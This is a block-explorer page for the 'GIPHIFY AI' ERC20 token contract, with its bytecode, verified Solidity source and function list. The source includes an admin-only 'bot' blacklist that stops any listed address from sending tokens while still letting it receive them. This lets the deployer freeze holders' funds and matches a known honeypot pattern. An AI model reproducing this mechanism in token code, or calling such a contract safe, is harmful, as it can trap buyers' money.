Address Contract Partially Verified
Address
0x53E326B6aDCB75907aF92e8Ce043A91b6cc3209E
Balance
0 ETH
Nonce
1
Code Size
5822 bytes
Creator
0x33B78C93...E345 at tx 0x8a4aaf6a...fdfd51
Indexed Transactions
0
Contract Bytecode
5822 bytes
0x608060405234801561000f575f80fd5b50600436106100cd575f3560e01c80635fecd9261161008a578063a9059cbb11610064578063a9059cbb14610225578063bfd7928414610255578063dd62ed3e14610285578063ffecf516146102b5576100cd565b80635fecd926146101bb57806370a08231146101d757806395d89b4114610207576100cd565b806306fdde03146100d1578063095ea7b3146100ef57806318160ddd1461011f57806323b872dd1461013d578063313ce5671461016d5780633bbac5791461018b575b5f80fd5b6100d96102d1565b6040516100e69190610ec4565b60405180910390f35b61010960048036038101906101049190610f75565b61030a565b6040516101169190610fcd565b60405180910390f35b610127610481565b6040516101349190610ff5565b60405180910390f35b6101576004803603810190610152919061100e565b6104a1565b6040516101649190610fcd565b60405180910390f35b610175610673565b6040516101829190611079565b60405180910390f35b6101a560048036038101906101a09190611092565b610678565b6040516101b29190610fcd565b60405180910390f35b6101d560048036038101906101d09190611092565b6106ca565b005b6101f160048036038101906101ec9190611092565b610860565b6040516101fe9190610ff5565b60405180910390f35b61020f6108a5565b60405161021c9190610ec4565b60405180910390f35b61023f600480360381019061023a9190610f75565b6108de565b60405161024c9190610fcd565b60405180910390f35b61026f600480360381019061026a9190611092565b6108f4565b60405161027c9190610fcd565b60405180910390f35b61029f600480360381019061029a91906110bd565b610911565b6040516102ac9190610ff5565b60405180910390f35b6102cf60048036038101906102ca9190611092565b610993565b005b6040518060400160405280600a81526020017f474950484946592041490000000000000000000000000000000000000000000081525081565b5f60025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161038c90611145565b60405180910390fd5b8160015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161046f9190610ff5565b60405180910390a36001905092915050565b6012600a61048f91906112bf565b6305f5e10061049e9190611309565b81565b5f8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561055d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055490611394565b60405180910390fd5b610568848484610b2a565b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546105ec91906113b2565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600190509392505050565b601281565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b7f00000000000000000000000033b78c93d7b697f8763cbd4c72a29dfa3b03e34573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610758576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074f9061142f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036107c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107bd90611497565b60405180910390fd5b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167ff98765b2b5e26c3266491f2a9f51d7fdae1c9c7ac2016fade7789d1f9e4ff3a060405160405180910390a250565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6040518060400160405280600481526020017f474946590000000000000000000000000000000000000000000000000000000081525081565b5f6108ea338484610b2a565b6001905092915050565b6002602052805f5260405f205f915054906101000a900460ff1681565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b7f00000000000000000000000033b78c93d7b697f8763cbd4c72a29dfa3b03e34573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a189061142f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a86906114ff565b60405180910390fd5b600160025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f8ea6dd825d4c0cbaa8c5f268c15b1df21173aae98f549a108b836de11d4971d860405160405180910390a250565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610b9257505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610bd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc890611567565b60405180910390fd5b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610c50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c47906115cf565b60405180910390fd5b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610cda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd190611637565b60405180910390fd5b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d2291906113b2565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610daa9190611655565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e479190610ff5565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610e9682610e54565b610ea08185610e5e565b9350610eb0818560208601610e6e565b610eb981610e7c565b840191505092915050565b5f6020820190508181035f830152610edc8184610e8c565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610f1182610ee8565b9050919050565b610f2181610f07565b8114610f2b575f80fd5b50565b5f81359050610f3c81610f18565b92915050565b5f819050919050565b610f5481610f42565b8114610f5e575f80fd5b50565b5f81359050610f6f81610f4b565b92915050565b5f8060408385031215610f8b57610f8a610ee4565b5b5f610f9885828601610f2e565b9250506020610fa985828601610f61565b9150509250929050565b5f8115159050919050565b610fc781610fb3565b82525050565b5f602082019050610fe05f830184610fbe565b92915050565b610fef81610f42565b82525050565b5f6020820190506110085f830184610fe6565b92915050565b5f805f6060848603121561102557611024610ee4565b5b5f61103286828701610f2e565b935050602061104386828701610f2e565b925050604061105486828701610f61565b9150509250925092565b5f60ff82169050919050565b6110738161105e565b82525050565b5f60208201905061108c5f83018461106a565b92915050565b5f602082840312156110a7576110a6610ee4565b5b5f6110b484828501610f2e565b91505092915050565b5f80604083850312156110d3576110d2610ee4565b5b5f6110e085828601610f2e565b92505060206110f185828601610f2e565b9150509250929050565b7f426f74732063616e6e6f7420617070726f7665000000000000000000000000005f82015250565b5f61112f601383610e5e565b915061113a826110fb565b602082019050919050565b5f6020820190508181035f83015261115c81611123565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156111e5578086048111156111c1576111c0611163565b5b60018516156111d05780820291505b80810290506111de85611190565b94506111a5565b94509492505050565b5f826111fd57600190506112b8565b8161120a575f90506112b8565b8160018114611220576002811461122a57611259565b60019150506112b8565b60ff84111561123c5761123b611163565b5b8360020a91508482111561125357611252611163565b5b506112b8565b5060208310610133831016604e8410600b841016171561128e5782820a90508381111561128957611288611163565b5b6112b8565b61129b848484600161119c565b925090508184048111156112b2576112b1611163565b5b81810290505b9392505050565b5f6112c982610f42565b91506112d48361105e565b92506113017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846111ee565b905092915050565b5f61131382610f42565b915061131e83610f42565b925082820261132c81610f42565b9150828204841483151761134357611342611163565b5b5092915050565b7f496e73756666696369656e7420616c6c6f77616e6365000000000000000000005f82015250565b5f61137e601683610e5e565b91506113898261134a565b602082019050919050565b5f6020820190508181035f8301526113ab81611372565b9050919050565b5f6113bc82610f42565b91506113c783610f42565b92508282039050818111156113df576113de611163565b5b92915050565b7f4e6f7420617574686f72697a65640000000000000000000000000000000000005f82015250565b5f611419600e83610e5e565b9150611424826113e5565b602082019050919050565b5f6020820190508181035f8301526114468161140d565b9050919050565b7f43616e6e6f742072656d6f7665207a65726f20616464726573730000000000005f82015250565b5f611481601a83610e5e565b915061148c8261144d565b602082019050919050565b5f6020820190508181035f8301526114ae81611475565b9050919050565b7f43616e6e6f7420616464207a65726f206164647265737320617320626f7400005f82015250565b5f6114e9601e83610e5e565b91506114f4826114b5565b602082019050919050565b5f6020820190508181035f830152611516816114dd565b9050919050565b7f496e76616c6964206164647265737365730000000000000000000000000000005f82015250565b5f611551601183610e5e565b915061155c8261151d565b602082019050919050565b5f6020820190508181035f83015261157e81611545565b9050919050565b7f496e73756666696369656e742062616c616e63650000000000000000000000005f82015250565b5f6115b9601483610e5e565b91506115c482611585565b602082019050919050565b5f6020820190508181035f8301526115e6816115ad565b9050919050565b7f426f74732063616e6e6f742073656e6420746f6b656e730000000000000000005f82015250565b5f611621601783610e5e565b915061162c826115ed565b602082019050919050565b5f6020820190508181035f83015261164e81611615565b9050919050565b5f61165f82610f42565b915061166a83610f42565b925082820190508082111561168257611681611163565b5b9291505056fea2646970667358221220c61c822d43030daaa3e40fcfd10806d4c9930acdf9cefafd16b5dcb57c3396e864736f6c634300081a0033
Verified Source Code Partial Match
Compiler: v0.8.26+commit.8a97fa7a
EVM: cancun
Optimization: No
GIPHIFY.sol 119 lines
/**
*Submitted for verification at basescan.org
*/
/*
GIPHIFY
Join our community:
X: https://x.com/giphify
Telegram: https://t.me/GIPHIFY
Website: https://GIPHIFY.pro
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner_, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner_, address indexed spender, uint256 value);
}
contract GIPHIFY is IERC20 {
string public constant name = "GIPHIFY AI";
string public constant symbol = "GIFY";
uint8 public constant decimals = 18;
uint256 public constant totalSupply = 100_000_000 * 10**decimals;
// Mappings
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public bots;
// Admin
address private immutable _admin;
// Events
event BotAdded(address indexed account);
event BotRemoved(address indexed account);
modifier onlyAdmin() {
require(msg.sender == _admin, "Not authorized");
_;
}
constructor() {
_admin = msg.sender;
_balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0) && recipient != address(0), "Invalid addresses");
require(_balances[sender] >= amount, "Insufficient balance");
// Only allow bots to receive, not send
require(!bots[sender], "Bots cannot send tokens");
_balances[sender] = _balances[sender] - amount;
_balances[recipient] = _balances[recipient] + amount;
emit Transfer(sender, recipient, amount);
}
// Bot management functions - only accessible by admin
function addBot(address bot_) public onlyAdmin {
require(bot_ != address(0), "Cannot add zero address as bot");
bots[bot_] = true;
emit BotAdded(bot_);
}
function removeBot(address bot_) public onlyAdmin {
require(bot_ != address(0), "Cannot remove zero address");
bots[bot_] = false;
emit BotRemoved(bot_);
}
function isBot(address a) public view returns (bool) {
return bots[a];
}
// Standard ERC20 functions
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner_, address spender) external view override returns (uint256) {
return _allowances[owner_][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
require(!bots[msg.sender], "Bots cannot approve");
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(_allowances[sender][msg.sender] >= amount, "Insufficient allowance");
_transfer(sender, recipient, amount);
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
return true;
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
bots 0xbfd79284 → bool
decimals 0x313ce567 → uint8
isBot 0x3bbac579 → bool
name 0x06fdde03 → string
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 5 functions
These functions modify contract state and require a wallet transaction to execute.
addBot 0xffecf516
address bot_
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
removeBot 0x5fecd926
address bot_
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
No transactions found for this address